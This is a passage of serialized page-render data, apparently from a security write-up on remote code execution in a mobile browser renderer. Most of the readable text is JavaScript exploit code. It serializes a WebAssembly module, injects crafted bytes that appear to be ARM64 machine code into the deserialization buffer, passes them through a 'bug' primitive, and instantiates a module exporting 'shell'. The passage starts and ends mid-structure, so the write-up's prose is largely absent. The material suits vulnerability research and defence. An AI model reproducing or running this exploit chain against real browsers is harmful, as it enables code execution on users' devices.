value":4367},{"type":23,"tag":504,"props":138644,"children":138645},{"style":5083},[138646],{"type":29,"value":5164},{"type":23,"tag":504,"props":138648,"children":138649},{"style":5058},[138650],{"type":29,"value":4367},{"type":23,"tag":504,"props":138652,"children":138653},{"style":5083},[138654],{"type":29,"value":708},{"type":23,"tag":504,"props":138656,"children":138657},{"style":5058},[138658],{"type":29,"value":4367},{"type":23,"tag":504,"props":138660,"children":138661},{"style":5083},[138662],{"type":29,"value":135542},{"type":23,"tag":504,"props":138664,"children":138665},{"style":5058},[138666],{"type":29,"value":5557},{"type":23,"tag":504,"props":138668,"children":138669},{"class":5016,"line":5203},[138670],{"type":23,"tag":504,"props":138671,"children":138672},{"style":5058},[138673],{"type":29,"value":136263},{"type":23,"tag":504,"props":138675,"children":138676},{"class":5016,"line":5308},[138677,138681,138685,138689,138693,138697,138701,138705,138709,138713],{"type":23,"tag":504,"props":138678,"children":138679},{"style":5030},[138680],{"type":29,"value":138360},{"type":23,"tag":504,"props":138682,"children":138683},{"style":5041},[138684],{"type":29,"value":73687},{"type":23,"tag":504,"props":138686,"children":138687},{"style":5047},[138688],{"type":29,"value":5050},{"type":23,"tag":504,"props":138690,"children":138691},{"style":5030},[138692],{"type":29,"value":33988},{"type":23,"tag":504,"props":138694,"children":138695},{"style":5041},[138696],{"type":29,"value":135577},{"type":23,"tag":504,"props":138698,"children":138699},{"style":5058},[138700],{"type":29,"value":357},{"type":23,"tag":504,"props":138702,"children":138703},{"style":5139},[138704],{"type":29,"value":87982},{"type":23,"tag":504,"props":138706,"children":138707},{"style":5058},[138708],{"type":29,"value":603},{"type":23,"tag":504,"props":138710,"children":138711},{"style":5041},[138712],{"type":29,"value":135594},{"type":23,"tag":504,"props":138714,"children":138715},{"style":5058},[138716],{"type":29,"value":5888},{"type":23,"tag":504,"props":138718,"children":138719},{"class":5016,"line":5336},[138720,138724,138728,138732,138736,138740,138744,138748,138752,138756],{"type":23,"tag":504,"props":138721,"children":138722},{"style":5030},[138723],{"type":29,"value":138360},{"type":23,"tag":504,"props":138725,"children":138726},{"style":5041},[138727],{"type":29,"value":135610},{"type":23,"tag":504,"props":138729,"children":138730},{"style":5047},[138731],{"type":29,"value":5050},{"type":23,"tag":504,"props":138733,"children":138734},{"style":5030},[138735],{"type":29,"value":33988},{"type":23,"tag":504,"props":138737,"children":138738},{"style":5041},[138739],{"type":29,"value":135577},{"type":23,"tag":504,"props":138741,"children":138742},{"style":5058},[138743],{"type":29,"value":357},{"type":23,"tag":504,"props":138745,"children":138746},{"style":5139},[138747],{"type":29,"value":135631},{"type":23,"tag":504,"props":138749,"children":138750},{"style":5058},[138751],{"type":29,"value":603},{"type":23,"tag":504,"props":138753,"children":138754},{"style":5041},[138755],{"type":29,"value":135640},{"type":23,"tag":504,"props":138757,"children":138758},{"style":5058},[138759],{"type":29,"value":5888},{"type":23,"tag":504,"props":138761,"children":138762},{"class":5016,"line":5349},[138763,138767,138771,138775,138779,138783,138787,138791,138795],{"type":23,"tag":504,"props":138764,"children":138765},{"style":5030},[138766],{"type":29,"value":138360},{"type":23,"tag":504,"props":138768,"children":138769},{"style":5041},[138770],{"type":29,"value":82073},{"type":23,"tag":504,"props":138772,"children":138773},{"style":5047},[138774],{"type":29,"value":5050},{"type":23,"tag":504,"props":138776,"children":138777},{"style":5041},[138778],{"type":29,"value":135610},{"type":23,"tag":504,"props":138780,"children":138781},{"style":5058},[138782],{"type":29,"value":357},{"type":23,"tag":504,"props":138784,"children":138785},{"style":5041},[138786],{"type":29,"value":39942},{"type":23,"tag":504,"props":138788,"children":138789},{"style":5058},[138790],{"type":29,"value":357},{"type":23,"tag":504,"props":138792,"children":138793},{"style":5041},[138794],{"type":29,"value":135680},{"type":23,"tag":504,"props":138796,"children":138797},{"style":5058},[138798],{"type":29,"value":5061},{"type":23,"tag":504,"props":138800,"children":138801},{"class":5016,"line":5367},[138802],{"type":23,"tag":504,"props":138803,"children":138804},{"emptyLinePlaceholder":15},[138805],{"type":29,"value":5734},{"type":23,"tag":504,"props":138807,"children":138808},{"class":5016,"line":5388},[138809],{"type":23,"tag":504,"props":138810,"children":138811},{"style":5021},[138812],{"type":29,"value":138813},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":504,"props":138815,"children":138816},{"class":5016,"line":5397},[138817,138822,138826,138830,138834,138838,138842,138846,138850,138854,138858,138862,138866,138870],{"type":23,"tag":504,"props":138818,"children":138819},{"style":5067},[138820],{"type":29,"value":138821},"  for",{"type":23,"tag":504,"props":138823,"children":138824},{"style":5058},[138825],{"type":29,"value":5110},{"type":23,"tag":504,"props":138827,"children":138828},{"style":5030},[138829],{"type":29,"value":13833},{"type":23,"tag":504,"props":138831,"children":138832},{"style":5041},[138833],{"type":29,"value":5446},{"type":23,"tag":504,"props":138835,"children":138836},{"style":5047},[138837],{"type":29,"value":5050},{"type":23,"tag":504,"props":138839,"children":138840},{"style":5083},[138841],{"type":29,"value":5086},{"type":23,"tag":504,"props":138843,"children":138844},{"style":5058},[138845],{"type":29,"value":19275},{"type":23,"tag":504,"props":138847,"children":138848},{"style":5041},[138849],{"type":29,"value":578},{"type":23,"tag":504,"props":138851,"children":138852},{"style":5047},[138853],{"type":29,"value":10764},{"type":23,"tag":504,"props":138855,"children":138856},{"style":5083},[138857],{"type":29,"value":138282},{"type":23,"tag":504,"props":138859,"children":138860},{"style":5058},[138861],{"type":29,"value":19275},{"type":23,"tag":504,"props":138863,"children":138864},{"style":5041},[138865],{"type":29,"value":578},{"type":23,"tag":504,"props":138867,"children":138868},{"style":5047},[138869],{"type":29,"value":53331},{"type":23,"tag":504,"props":138871,"children":138872},{"style":5058},[138873],{"type":29,"value":16850},{"type":23,"tag":504,"props":138875,"children":138876},{"class":5016,"line":5649},[138877,138882],{"type":23,"tag":504,"props":138878,"children":138879},{"style":5139},[138880],{"type":29,"value":138881},"    func",{"type":23,"tag":504,"props":138883,"children":138884},{"style":5058},[138885],{"type":29,"value":5725},{"type":23,"tag":504,"props":138887,"children":138888},{"class":5016,"line":5666},[138889],{"type":23,"tag":504,"props":138890,"children":138891},{"style":5058},[138892],{"type":29,"value":7917},{"type":23,"tag":504,"props":138894,"children":138895},{"class":5016,"line":5683},[138896],{"type":23,"tag":504,"props":138897,"children":138898},{"emptyLinePlaceholder":15},[138899],{"type":29,"value":5734},{"type":23,"tag":504,"props":138901,"children":138902},{"class":5016,"line":5696},[138903,138907,138911,138915,138919,138923,138927],{"type":23,"tag":504,"props":138904,"children":138905},{"style":5030},[138906],{"type":29,"value":9900},{"type":23,"tag":504,"props":138908,"children":138909},{"style":5041},[138910],{"type":29,"value":137716},{"type":23,"tag":504,"props":138912,"children":138913},{"style":5047},[138914],{"type":29,"value":5050},{"type":23,"tag":504,"props":138916,"children":138917},{"style":5139},[138918],{"type":29,"value":137725},{"type":23,"tag":504,"props":138920,"children":138921},{"style":5058},[138922],{"type":29,"value":603},{"type":23,"tag":504,"props":138924,"children":138925},{"style":5041},[138926],{"type":29,"value":135640},{"type":23,"tag":504,"props":138928,"children":138929},{"style":5058},[138930],{"type":29,"value":5888},{"type":23,"tag":504,"props":138932,"children":138933},{"class":5016,"line":5705},[138934,138938,138942,138946,138950,138954,138958,138962,138966,138970],{"type":23,"tag":504,"props":138935,"children":138936},{"style":5041},[138937],{"type":29,"value":137761},{"type":23,"tag":504,"props":138939,"children":138940},{"style":5047},[138941],{"type":29,"value":5050},{"type":23,"tag":504,"props":138943,"children":138944},{"style":5058},[138945],{"type":29,"value":5110},{"type":23,"tag":504,"props":138947,"children":138948},{"style":5067},[138949],{"type":29,"value":34972},{"type":23,"tag":504,"props":138951,"children":138952},{"style":5041},[138953],{"type":29,"value":137716},{"type":23,"tag":504,"props":138955,"children":138956},{"style":5058},[138957],{"type":29,"value":357},{"type":23,"tag":504,"props":138959,"children":138960},{"style":5139},[138961],{"type":29,"value":59626},{"type":23,"tag":504,"props":138963,"children":138964},{"style":5058},[138965],{"type":29,"value":137790},{"type":23,"tag":504,"props":138967,"children":138968},{"style":5041},[138969],{"type":29,"value":41208},{"type":23,"tag":504,"props":138971,"children":138972},{"style":5058},[138973],{"type":29,"value":5061},{"type":23,"tag":504,"props":138975,"children":138976},{"class":5016,"line":5728},[138977,138981,138985,138989,138993,138997],{"type":23,"tag":504,"props":138978,"children":138979},{"style":5041},[138980],{"type":29,"value":103723},{"type":23,"tag":504,"props":138982,"children":138983},{"style":5058},[138984],{"type":29,"value":357},{"type":23,"tag":504,"props":138986,"children":138987},{"style":5139},[138988],{"type":29,"value":103732},{"type":23,"tag":504,"props":138990,"children":138991},{"style":5058},[138992],{"type":29,"value":603},{"type":23,"tag":504,"props":138994,"children":138995},{"style":5041},[138996],{"type":29,"value":11129},{"type":23,"tag":504,"props":138998,"children":138999},{"style":5058},[139000],{"type":29,"value":5888},{"type":23,"tag":504,"props":139002,"children":139003},{"class":5016,"line":5737},[139004],{"type":23,"tag":504,"props":139005,"children":139006},{"emptyLinePlaceholder":15},[139007],{"type":29,"value":5734},{"type":23,"tag":504,"props":139009,"children":139010},{"class":5016,"line":5746},[139011,139015,139020,139024,139028,139032,139036,139040],{"type":23,"tag":504,"props":139012,"children":139013},{"style":5030},[139014],{"type":29,"value":9900},{"type":23,"tag":504,"props":139016,"children":139017},{"style":5041},[139018],{"type":29,"value":139019}," result_bytes",{"type":23,"tag":504,"props":139021,"children":139022},{"style":5047},[139023],{"type":29,"value":5050},{"type":23,"tag":504,"props":139025,"children":139026},{"style":5030},[139027],{"type":29,"value":33988},{"type":23,"tag":504,"props":139029,"children":139030},{"style":5139},[139031],{"type":29,"value":135246},{"type":23,"tag":504,"props":139033,"children":139034},{"style":5058},[139035],{"type":29,"value":603},{"type":23,"tag":504,"props":139037,"children":139038},{"style":5041},[139039],{"type":29,"value":11129},{"type":23,"tag":504,"props":139041,"children":139042},{"style":5058},[139043],{"type":29,"value":5888},{"type":23,"tag":504,"props":139045,"children":139046},{"class":5016,"line":5813},[139047,139051,139055,139059,139063,139067,139071,139075,139079,139083,139087,139091,139095,139099,139103],{"type":23,"tag":504,"props":139048,"children":139049},{"style":5041},[139050],{"type":29,"value":103723},{"type":23,"tag":504,"props":139052,"children":139053},{"style":5058},[139054],{"type":29,"value":357},{"type":23,"tag":504,"props":139056,"children":139057},{"style":5139},[139058],{"type":29,"value":103732},{"type":23,"tag":504,"props":139060,"children":139061},{"style":5058},[139062],{"type":29,"value":603},{"type":23,"tag":504,"props":139064,"children":139065},{"style":6297},[139066],{"type":29,"value":135813},{"type":23,"tag":504,"props":139068,"children":139069},{"style":5047},[139070],{"type":29,"value":10950},{"type":23,"tag":504,"props":139072,"children":139073},{"style":5041},[139074],{"type":29,"value":139019},{"type":23,"tag":504,"props":139076,"children":139077},{"style":5058},[139078],{"type":29,"value":357},{"type":23,"tag":504,"props":139080,"children":139081},{"style":5139},[139082],{"type":29,"value":135830},{"type":23,"tag":504,"props":139084,"children":139085},{"style":5058},[139086],{"type":29,"value":603},{"type":23,"tag":504,"props":139088,"children":139089},{"style":6297},[139090],{"type":29,"value":135839},{"type":23,"tag":504,"props":139092,"children":139093},{"style":5058},[139094],{"type":29,"value":5128},{"type":23,"tag":504,"props":139096,"children":139097},{"style":5047},[139098],{"type":29,"value":6422},{"type":23,"tag":504,"props":139100,"children":139101},{"style":6297},[139102],{"type":29,"value":135852},{"type":23,"tag":504,"props":139104,"children":139105},{"style":5058},[139106],{"type":29,"value":5888},{"type":23,"tag":504,"props":139108,"children":139109},{"class":5016,"line":5821},[139110],{"type":23,"tag":504,"props":139111,"children":139112},{"style":5058},[139113],{"type":29,"value":103764},{"type":23,"tag":32,"props":139115,"children":139116},{},[139117],{"type":29,"value":139118},"We get the serialized bytes:",{"type":23,"tag":32,"props":139120,"children":139121},{},[139122],{"type":23,"tag":199,"props":139123,"children":139126},{"alt":139124,"src":139125},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":32,"props":139128,"children":139129},{},[139130,139132,139137],{"type":29,"value":139131},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":154,"props":139133,"children":139135},{"className":139134},[],[139136],{"type":29,"value":134709},{"type":29,"value":6533},{"type":23,"tag":4743,"props":139139,"children":139141},{"code":139140,"language":37672,"meta":7,"className":37670,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[139142],{"type":23,"tag":154,"props":139143,"children":139144},{"__ignoreMap":7},[139145,139168,139195,139414,139481,139488,139515,139726,139977,140228,140452,140634,140855,140933,140940,140987,141030,141066,141109,141148,141175],{"type":23,"tag":504,"props":139146,"children":139147},{"class":5016,"line":5017},[139148,139152,139156,139160,139164],{"type":23,"tag":504,"props":139149,"children":139150},{"style":5058},[139151],{"type":29,"value":603},{"type":23,"tag":504,"props":139153,"children":139154},{"style":5030},[139155],{"type":29,"value":38202},{"type":23,"tag":504,"props":139157,"children":139158},{"style":5058},[139159],{"type":29,"value":41753},{"type":23,"tag":504,"props":139161,"children":139162},{"style":5030},[139163],{"type":29,"value":16868},{"type":23,"tag":504,"props":139165,"children":139166},{"style":5058},[139167],{"type":29,"value":5333},{"type":23,"tag":504,"props":139169,"children":139170},{"class":5016,"line":4868},[139171,139175,139179,139183,139187,139191],{"type":23,"tag":504,"props":139172,"children":139173},{"style":5030},[139174],{"type":29,"value":38245},{"type":23,"tag":504,"props":139176,"children":139177},{"style":5041},[139178],{"type":29,"value":135233},{"type":23,"tag":504,"props":139180,"children":139181},{"style":5047},[139182],{"type":29,"value":5050},{"type":23,"tag":504,"props":139184,"children":139185},{"style":5030},[139186],{"type":29,"value":33988},{"type":23,"tag":504,"props":139188,"children":139189},{"style":5139},[139190],{"type":29,"value":135246},{"type":23,"tag":504,"props":139192,"children":139193},{"style":5058},[139194],{"type":29,"value":135251},{"type":23,"tag":504,"props":139196,"children":139197},{"class":5016,"line":4876},[139198,139202,139206,139210,139214,139218,139222,139226,139230,139234,139238,139242,139246,139250,139254,139258,139262,139266,139270,139274,139278,139282,139286,139290,139294,139298,139302,139306,139310,139314,139318,139322,139326,139330,139334,139338,139342,139346,139350,139354,139358,139362,139366,139370,139374,139378,139382,139386,139390,139394,139398,139402,139406,139410],{"type":23,"tag":504,"props":139199,"children":139200},{"style":5083},[139201],{"type":29,"value":135976},{"type":23,"tag":504,"props":139203,"children":139204},{"style":5058},[139205],{"type":29,"value":4367},{"type":23,"tag":504,"props":139207,"children":139208},{"style":5083},[139209],{"type":29,"value":135268},{"type":23,"tag":504,"props":139211,"children":139212},{"style":5058},[139213],{"type":29,"value":4367},{"type":23,"tag":504,"props":139215,"children":139216},{"style":5083},[139217],{"type":29,"value":135277},{"type":23,"tag":504,"props":139219,"children":139220},{"style":5058},[139221],{"type":29,"value":4367},{"type":23,"tag":504,"props":139223,"children":139224},{"style":5083},[139225],{"type":29,"value":135286},{"type":23,"tag":504,"props":139227,"children":139228},{"style":5058},[139229],{"type":29,"value":4367},{"type":23,"tag":504,"props":139231,"children":139232},{"style":5083},[139233],{"type":29,"value":826},{"type":23,"tag":504,"props":139235,"children":139236},{"style":5058},[139237],{"type":29,"value":4367},{"type":23,"tag":504,"props":139239,"children":139240},{"style":5083},[139241],{"type":29,"value":708},{"type":23,"tag":504,"props":139243,"children":139244},{"style":5058},[139245],{"type":29,"value":4367},{"type":23,"tag":504,"props":139247,"children":139248},{"style":5083},[139249],{"type":29,"value":708},{"type":23,"tag":504,"props":139251,"children":139252},{"style":5058},[139253],{"type":29,"value":4367},{"type":23,"tag":504,"props":139255,"children":139256},{"style":5083},[139257],{"type":29,"value":708},{"type":23,"tag":504,"props":139259,"children":139260},{"style":5058},[139261],{"type":29,"value":4367},{"type":23,"tag":504,"props":139263,"children":139264},{"style":5083},[139265],{"type":29,"value":826},{"type":23,"tag":504,"props":139267,"children":139268},{"style":5058},[139269],{"type":29,"value":4367},{"type":23,"tag":504,"props":139271,"children":139272},{"style":5083},[139273],{"type":29,"value":19577},{"type":23,"tag":504,"props":139275,"children":139276},{"style":5058},[139277],{"type":29,"value":4367},{"type":23,"tag":504,"props":139279,"children":139280},{"style":5083},[139281],{"type":29,"value":826},{"type":23,"tag":504,"props":139283,"children":139284},{"style":5058},[139285],{"type":29,"value":4367},{"type":23,"tag":504,"props":139287,"children":139288},{"style":5083},[139289],{"type":29,"value":135351},{"type":23,"tag":504,"props":139291,"children":139292},{"style":5058},[139293],{"type":29,"value":4367},{"type":23,"tag":504,"props":139295,"children":139296},{"style":5083},[139297],{"type":29,"value":708},{"type":23,"tag":504,"props":139299,"children":139300},{"style":5058},[139301],{"type":29,"value":4367},{"type":23,"tag":504,"props":139303,"children":139304},{"style":5083},[139305],{"type":29,"value":708},{"type":23,"tag":504,"props":139307,"children":139308},{"style":5058},[139309],{"type":29,"value":4367},{"type":23,"tag":504,"props":139311,"children":139312},{"style":5083},[139313],{"type":29,"value":19344},{"type":23,"tag":504,"props":139315,"children":139316},{"style":5058},[139317],{"type":29,"value":4367},{"type":23,"tag":504,"props":139319,"children":139320},{"style":5083},[139321],{"type":29,"value":5164},{"type":23,"tag":504,"props":139323,"children":139324},{"style":5058},[139325],{"type":29,"value":4367},{"type":23,"tag":504,"props":139327,"children":139328},{"style":5083},[139329],{"type":29,"value":826},{"type":23,"tag":504,"props":139331,"children":139332},{"style":5058},[139333],{"type":29,"value":4367},{"type":23,"tag":504,"props":139335,"children":139336},{"style":5083},[139337],{"type":29,"value":708},{"type":23,"tag":504,"props":139339,"children":139340},{"style":5058},[139341],{"type":29,"value":4367},{"type":23,"tag":504,"props":139343,"children":139344},{"style":5083},[139345],{"type":29,"value":56732},{"type":23,"tag":504,"props":139347,"children":139348},{"style":5058},[139349],{"type":29,"value":4367},{"type":23,"tag":504,"props":139351,"children":139352},{"style":5083},[139353],{"type":29,"value":57947},{"type":23,"tag":504,"props":139355,"children":139356},{"style":5058},[139357],{"type":29,"value":4367},{"type":23,"tag":504,"props":139359,"children":139360},{"style":5083},[139361],{"type":29,"value":826},{"type":23,"tag":504,"props":139363,"children":139364},{"style":5058},[139365],{"type":29,"value":4367},{"type":23,"tag":504,"props":139367,"children":139368},{"style":5083},[139369],{"type":29,"value":20158},{"type":23,"tag":504,"props":139371,"children":139372},{"style":5058},[139373],{"type":29,"value":4367},{"type":23,"tag":504,"props":139375,"children":139376},{"style":5083},[139377],{"type":29,"value":135277},{"type":23,"tag":504,"props":139379,"children":139380},{"style":5058},[139381],{"type":29,"value":4367},{"type":23,"tag":504,"props":139383,"children":139384},{"style":5083},[139385],{"type":29,"value":135448},{"type":23,"tag":504,"props":139387,"children":139388},{"style":5058},[139389],{"type":29,"value":4367},{"type":23,"tag":504,"props":139391,"children":139392},{"style":5083},[139393],{"type":29,"value":135457},{"type":23,"tag":504,"props":139395,"children":139396},{"style":5058},[139397],{"type":29,"value":4367},{"type":23,"tag":504,"props":139399,"children":139400},{"style":5083},[139401],{"type":29,"value":135466},{"type":23,"tag":504,"props":139403,"children":139404},{"style":5058},[139405],{"type":29,"value":4367},{"type":23,"tag":504,"props":139407,"children":139408},{"style":5083},[139409],{"type":29,"value":135466},{"type":23,"tag":504,"props":139411,"children":139412},{"style":5058},[139413],{"type":29,"value":5557},{"type":23,"tag":504,"props":139415,"children":139416},{"class":5016,"line":5099},[139417,139421,139425,139429,139433,139437,139441,139445,139449,139453,139457,139461,139465,139469,139473,139477],{"type":23,"tag":504,"props":139418,"children":139419},{"style":5083},[139420],{"type":29,"value":135976},{"type":23,"tag":504,"props":139422,"children":139423},{"style":5058},[139424],{"type":29,"value":4367},{"type":23,"tag":504,"props":139426,"children":139427},{"style":5083},[139428],{"type":29,"value":708},{"type":23,"tag":504,"props":139430,"children":139431},{"style":5058},[139432],{"type":29,"value":4367},{"type":23,"tag":504,"props":139434,"children":139435},{"style":5083},[139436],{"type":29,"value":91315},{"type":23,"tag":504,"props":139438,"children":139439},{"style":5058},[139440],{"type":29,"value":4367},{"type":23,"tag":504,"props":139442,"children":139443},{"style":5083},[139444],{"type":29,"value":19577},{"type":23,"tag":504,"props":139446,"children":139447},{"style":5058},[139448],{"type":29,"value":4367},{"type":23,"tag":504,"props":139450,"children":139451},{"style":5083},[139452],{"type":29,"value":826},{"type":23,"tag":504,"props":139454,"children":139455},{"style":5058},[139456],{"type":29,"value":4367},{"type":23,"tag":504,"props":139458,"children":139459},{"style":5083},[139460],{"type":29,"value":5164},{"type":23,"tag":504,"props":139462,"children":139463},{"style":5058},[139464],{"type":29,"value":4367},{"type":23,"tag":504,"props":139466,"children":139467},{"style":5083},[139468],{"type":29,"value":708},{"type":23,"tag":504,"props":139470,"children":139471},{"style":5058},[139472],{"type":29,"value":4367},{"type":23,"tag":504,"props":139474,"children":139475},{"style":5083},[139476],{"type":29,"value":135542},{"type":23,"tag":504,"props":139478,"children":139479},{"style":5058},[139480],{"type":29,"value":5557},{"type":23,"tag":504,"props":139482,"children":139483},{"class":5016,"line":5203},[139484],{"type":23,"tag":504,"props":139485,"children":139486},{"style":5058},[139487],{"type":29,"value":136263},{"type":23,"tag":504,"props":139489,"children":139490},{"class":5016,"line":5308},[139491,139495,139499,139503,139507,139511],{"type":23,"tag":504,"props":139492,"children":139493},{"style":5030},[139494],{"type":29,"value":38245},{"type":23,"tag":504,"props":139496,"children":139497},{"style":5041},[139498],{"type":29,"value":127046},{"type":23,"tag":504,"props":139500,"children":139501},{"style":5047},[139502],{"type":29,"value":5050},{"type":23,"tag":504,"props":139504,"children":139505},{"style":5030},[139506],{"type":29,"value":33988},{"type":23,"tag":504,"props":139508,"children":139509},{"style":5139},[139510],{"type":29,"value":135246},{"type":23,"tag":504,"props":139512,"children":139513},{"style":5058},[139514],{"type":29,"value":135251},{"type":23,"tag":504,"props":139516,"children":139517},{"class":5016,"line":5336},[139518,139523,139527,139531,139535,139539,139543,139547,139551,139556,139560,139565,139569,139574,139578,139583,139587,139591,139595,139599,139603,139607,139611,139615,139619,139624,139628,139633,139637,139642,139646,139650,139654,139658,139662,139666,139670,139674,139678,139682,139686,139690,139694,139698,139702,139706,139710,139714,139718,139722],{"type":23,"tag":504,"props":139519,"children":139520},{"style":5083},[139521],{"type":29,"value":139522},"    146",{"type":23,"tag":504,"props":139524,"children":139525},{"style":5058},[139526],{"type":29,"value":4367},{"type":23,"tag":504,"props":139528,"children":139529},{"style":5083},[139530],{"type":29,"value":20470},{"type":23,"tag":504,"props":139532,"children":139533},{"style":5058},[139534],{"type":29,"value":4367},{"type":23,"tag":504,"props":139536,"children":139537},{"style":5083},[139538],{"type":29,"value":136315},{"type":23,"tag":504,"props":139540,"children":139541},{"style":5058},[139542],{"type":29,"value":4367},{"type":23,"tag":504,"props":139544,"children":139545},{"style":5083},[139546],{"type":29,"value":136324},{"type":23,"tag":504,"props":139548,"children":139549},{"style":5058},[139550],{"type":29,"value":4367},{"type":23,"tag":504,"props":139552,"children":139553},{"style":5083},[139554],{"type":29,"value":139555},"174",{"type":23,"tag":504,"props":139557,"children":139558},{"style":5058},[139559],{"type":29,"value":4367},{"type":23,"tag":504,"props":139561,"children":139562},{"style":5083},[139563],{"type":29,"value":139564},"122",{"type":23,"tag":504,"props":139566,"children":139567},{"style":5058},[139568],{"type":29,"value":4367},{"type":23,"tag":504,"props":139570,"children":139571},{"style":5083},[139572],{"type":29,"value":139573},"171",{"type":23,"tag":504,"props":139575,"children":139576},{"style":5058},[139577],{"type":29,"value":4367},{"type":23,"tag":504,"props":139579,"children":139580},{"style":5083},[139581],{"type":29,"value":139582},"151",{"type":23,"tag":504,"props":139584,"children":139585},{"style":5058},[139586],{"type":29,"value":4367},{"type":23,"tag":504,"props":139588,"children":139589},{"style":5083},[139590],{"type":29,"value":4290},{"type":23,"tag":504,"props":139592,"children":139593},{"style":5058},[139594],{"type":29,"value":4367},{"type":23,"tag":504,"props":139596,"children":139597},{"style":5083},[139598],{"type":29,"value":708},{"type":23,"tag":504,"props":139600,"children":139601},{"style":5058},[139602],{"type":29,"value":4367},{"type":23,"tag":504,"props":139604,"children":139605},{"style":5083},[139606],{"type":29,"value":708},{"type":23,"tag":504,"props":139608,"children":139609},{"style":5058},[139610],{"type":29,"value":4367},{"type":23,"tag":504,"props":139612,"children":139613},{"style":5083},[139614],{"type":29,"value":708},{"type":23,"tag":504,"props":139616,"children":139617},{"style":5058},[139618],{"type":29,"value":4367},{"type":23,"tag":504,"props":139620,"children":139621},{"style":5083},[139622],{"type":29,"value":139623},"39",{"type":23,"tag":504,"props":139625,"children":139626},{"style":5058},[139627],{"type":29,"value":4367},{"type":23,"tag":504,"props":139629,"children":139630},{"style":5083},[139631],{"type":29,"value":139632},"61",{"type":23,"tag":504,"props":139634,"children":139635},{"style":5058},[139636],{"type":29,"value":4367},{"type":23,"tag":504,"props":139638,"children":139639},{"style":5083},[139640],{"type":29,"value":139641},"60",{"type":23,"tag":504,"props":139643,"children":139644},{"style":5058},[139645],{"type":29,"value":4367},{"type":23,"tag":504,"props":139647,"children":139648},{"style":5083},[139649],{"type":29,"value":4290},{"type":23,"tag":504,"props":139651,"children":139652},{"style":5058},[139653],{"type":29,"value":4367},{"type":23,"tag":504,"props":139655,"children":139656},{"style":5083},[139657],{"type":29,"value":708},{"type":23,"tag":504,"props":139659,"children":139660},{"style":5058},[139661],{"type":29,"value":4367},{"type":23,"tag":504,"props":139663,"children":139664},{"style":5083},[139665],{"type":29,"value":42904},{"type":23,"tag":504,"props":139667,"children":139668},{"style":5058},[139669],{"type":29,"value":4367},{"type":23,"tag":504,"props":139671,"children":139672},{"style":5083},[139673],{"type":29,"value":19344},{"type":23,"tag":504,"props":139675,"children":139676},{"style":5058},[139677],{"type":29,"value":4367},{"type":23,"tag":504,"props":139679,"children":139680},{"style":5083},[139681],{"type":29,"value":708},{"type":23,"tag":504,"props":139683,"children":139684},{"style":5058},[139685],{"type":29,"value":4367},{"type":23,"tag":504,"props":139687,"children":139688},{"style":5083},[139689],{"type":29,"value":708},{"type":23,"tag":504,"props":139691,"children":139692},{"style":5058},[139693],{"type":29,"value":4367},{"type":23,"tag":504,"props":139695,"children":139696},{"style":5083},[139697],{"type":29,"value":708},{"type":23,"tag":504,"props":139699,"children":139700},{"style":5058},[139701],{"type":29,"value":4367},{"type":23,"tag":504,"props":139703,"children":139704},{"style":5083},[139705],{"type":29,"value":708},{"type":23,"tag":504,"props":139707,"children":139708},{"style":5058},[139709],{"type":29,"value":4367},{"type":23,"tag":504,"props":139711,"children":139712},{"style":5083},[139713],{"type":29,"value":708},{"type":23,"tag":504,"props":139715,"children":139716},{"style":5058},[139717],{"type":29,"value":4367},{"type":23,"tag":504,"props":139719,"children":139720},{"style":5083},[139721],{"type":29,"value":31477},{"type":23,"tag":504,"props":139723,"children":139724},{"style":5058},[139725],{"type":29,"value":5557},{"type":23,"tag":504,"props":139727,"children":139728},{"class":5016,"line":5349},[139729,139733,139737,139741,139745,139749,139753,139757,139761,139765,139769,139773,139777,139781,139785,139789,139793,139797,139801,139805,139809,139813,139817,139821,139825,139829,139833,139837,139841,139845,139849,139853,139857,139861,139865,139869,139873,139877,139881,139885,139889,139893,139897,139901,139905,139909,139913,139917,139921,139925,139929,139933,139937,139941,139945,139949,139953,139957,139961,139965,139969,139973],{"type":23,"tag":504,"props":139730,"children":139731},{"style":5083},[139732],{"type":29,"value":135976},{"type":23,"tag":504,"props":139734,"children":139735},{"style":5058},[139736],{"type":29,"value":4367},{"type":23,"tag":504,"props":139738,"children":139739},{"style":5083},[139740],{"type":29,"value":708},{"type":23,"tag":504,"props":139742,"children":139743},{"style":5058},[139744],{"type":29,"value":4367},{"type":23,"tag":504,"props":139746,"children":139747},{"style":5083},[139748],{"type":29,"value":708},{"type":23,"tag":504,"props":139750,"children":139751},{"style":5058},[139752],{"type":29,"value":4367},{"type":23,"tag":504,"props":139754,"children":139755},{"style":5083},[139756],{"type":29,"value":708},{"type":23,"tag":504,"props":139758,"children":139759},{"style":5058},[139760],{"type":29,"value":4367},{"type":23,"tag":504,"props":139762,"children":139763},{"style":5083},[139764],{"type":29,"value":708},{"type":23,"tag":504,"props":139766,"children":139767},{"style":5058},[139768],{"type":29,"value":4367},{"type":23,"tag":504,"props":139770,"childre